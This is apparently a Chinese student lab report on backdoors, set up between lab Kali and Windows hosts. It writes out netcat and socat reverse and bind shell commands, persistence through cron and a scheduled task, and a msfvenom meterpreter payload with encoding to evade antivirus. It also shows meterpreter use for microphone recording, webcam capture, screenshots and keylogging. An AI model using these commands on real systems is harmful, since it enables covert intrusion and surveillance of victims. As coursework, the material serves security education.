20165306 Exp2 後門原理與實踐
20165306 Exp2 後門原理與實踐
實驗內容
(1)使用netcat獲取主機操作Shell,cron啟動
(2)使用socat獲取主機操作Shell, 任務計劃啟動
(3)使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
(4)使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
基礎問題回答
(1)例舉你能想到的一個後門進入到你系統中的可能方式?
下載的軟件有後門
(2)例舉你知道的後門如何啟動起來(win及linux)的方式?
win:設置為開機自啟動
Linux:將木馬設為定時啟動
(3)Meterpreter有哪些給你映像深刻的功能?
竟然可以獲取目標主機音頻、攝像頭、擊鍵記錄等內容
(4)如何發現自己有系統有沒有被安裝後門?
安裝專門的殺毒軟件,實時防護,並定期檢測電腦安全情況
一、後門概念
後門就是不經過正常認證流程而訪問系統的通道。
相對狹義一點的後門的概念:後門特指潛伏於操作系統中專門做後門的一個程序,“壞人”可以連接這個程序,遠程執行各種指令,概念和木馬有重疊。
二、常用後門工具
關於netcat
又名nc、ncat,是一個底層工具,進行基本的TCP UDP數據收發。常被與其他工具結合使用,起到後門的作用。
(一)Win獲得Linux Shell
1.在Windows下使用ipconfig
192.168.199.175
2.使用ncat.exe程序監聽本機的5306端口ncat.exe -l -p 5306
3.在Kali環境下,安裝ncat,使用nc指令的-e選項反向連接Windows主機的5306端口
nc 192.168.199.175 5306 -e /bin/sh
4.成功獲得Kali的shell,可運行任何指令,如ls
(二)Linux獲得Windows Shell
1.在Kali環境中使用ifconfig查看IP為192.168.95.136
2.使用nc指令監聽5306端口nc -l -p 5306
3.在Windows下,使用ncat.exe程序的-e選項項反向連接Kali主機的5306端口
ncat.exe -e cmd.exe 192.168.95.136 5306
4.Kali下可以看到Windows的命令提示
(三)使用nc傳輸數據
1.Windows下監聽5306端口ncat.exe -l 5306
2.Kali下連接到Windows的5306端口ncat 192.168.199.175 5306
3.建立連接之後,在Kali中輸入數據,按下回車,Windows中就可以顯示傳輸的數據了
三、Meterpreter
後門就是一個程序。
傳統的理解是:有人編寫一個後門程序,大家拿來用。
一個平臺能生成後門程序。這個平臺把後門的基本功能(基本的連接、執行指令),
擴展功能(如搜集用戶信息、安裝服務等功能),
編碼模式,
運行平臺,
以及運行參數
全都做成零件或可調整的參數。用的時候按需要組合,就可以生成一個可執行文件。接下來學習如何使用msfenom生成後門可執行文件,要生成的這個後門程序是Meterpreter。
參數說明:
-p
使用的payload。payload翻譯為有效載荷,就是被運輸有東西。這裏windows/meterpreter/reverse_tcp就是一段shellcode-x
使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中-e
使用的編碼器,用於對shellcode變形,為了免殺-i
編碼器的叠代次數。如上即使用該編碼器編碼5次-b
badchar是payload中需要去除的字符LHOST
是反彈回連的IPLPORT
是回連的端口-f
生成文件的類型>
輸出到哪個文件
(一)使用netcat獲取主機操作Shell,cron啟動
1.在Windows系統下,監聽5306端口nc -l -p 5306
2.Kali下用crontab -e
指令編輯一條定時任務,選擇編輯器3
3.按i
進入插入模式,在最後一行添加52 * * * * /bin/netcat 172.168.199.175 5306 -e /bin/sh
,意思是在每個小時的第52分鐘反向連接Windows主機的5306端口
4.當時間到了12:52時,此時已經獲得了Kali的shell,可以在Windows下輸入指令ls
(二)使用socat獲取主機操作Shell, 任務計劃啟動
socat
socat是ncat的增強版,它使用的格式是socat [options] <address> <address>
,其中兩個address
是必選項,而options
是可選項。
socat的基本功能就是建立兩個雙向的字節流,數據就在其間傳輸,參數address
代表其中的一個方向。所謂流,代表數據的流向,而數據則可以有許多不同的類型,命令中也就相應需要許多選項對各種不同的類型數據流進行限定與說明。
實驗步驟
1.搜索計算機管理
→ 任務計劃程序
→ 創建任務
→常規
→任務名稱
:socat_5306
→觸發器
→新建
→開始任務
選擇工作站鎖定時
→確定
→操作
→程序或腳本
點擊瀏覽
→選擇socat.exe
的路徑→添加參數
填寫tcp-listen:5306 exec:cmd.exe,pty,stderr
,把cmd.exe
綁定到端口5306,同時把cmd.exe
的stderr
重定向到stdout
上→確定
2.創建完成之後,按Windows+L
快捷鍵鎖定計算機,再次打開時,可以發現之前創建的任務顯示正在運行
3.在Kali下輸入socat - tcp:192.168.199.175:5306
,這裏的第一個參數-
代表標準的輸入輸出,第二個流連接到Windows主機的5306端口,此時可以發現已經成功獲得了一個cmd shell
(三)使用MSF meterpreter生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
1.Kali下輸入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.136 LPORT=5306 -f exe > 20165306_backdoor.exe
生成後門程序
- 註:這裏的IP地址為控制端IP,即Kali的IP
2.Windows下輸入ncat.exe -lv 5306 > 20165306_backdoor.exe
,通過nc指令將生成的後門程序傳送到Windows主機上
3.Kali下輸入nc 192.168.199.175 5306 < 20165306_backdoor.exe
- 註:這裏的IP地址為被控主機IP,即Windows的IP
Windows顯示連接成功
4.Kali下使用msfconsole
指令進入msf控制臺
5.使用監聽模塊,設置payload,設置反彈回連的IP和端口
- 註:set LHOST用的是Kali的IP,和生成後門程序時指定的IP相同
設置完成後,執行監聽
6.運行Windows下的後門程序20165306_backdoor.exe
7.此時Kali上已經獲得了Windows主機的連接,並且得到了遠程控制的shell
(四)使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容
1.使用record_mic
指令可以截獲一段音頻
2.先打開Windows相機功能,Kali下使用webcam_snap
指令可以使用攝像頭進行拍照
3.使用screenshot
指令可以進行截屏
4.使用keyscan_start
指令開始記錄下擊鍵的過程,使用keyscan_dump
指令讀取擊鍵的記錄
四、遇到的問題
1.socat任務創建完成之後,按Windows+L
快捷鍵鎖定計算機,再次打開時,發現之前創建的任務顯示準備就緒
,而不是正在運行
解決:右擊→運行
2.使用MSF meterpreter生成可執行文件時IP地址輸錯
解決:控制端和被控主機不要弄混,控制端--Kali,被控主機--Windows
3.運行Windows下的後門程序20165306_backdoor.exe
時顯示拒絕訪問
解決:關閉防火墻和實時保護
20165306 Exp2 後門原理與實踐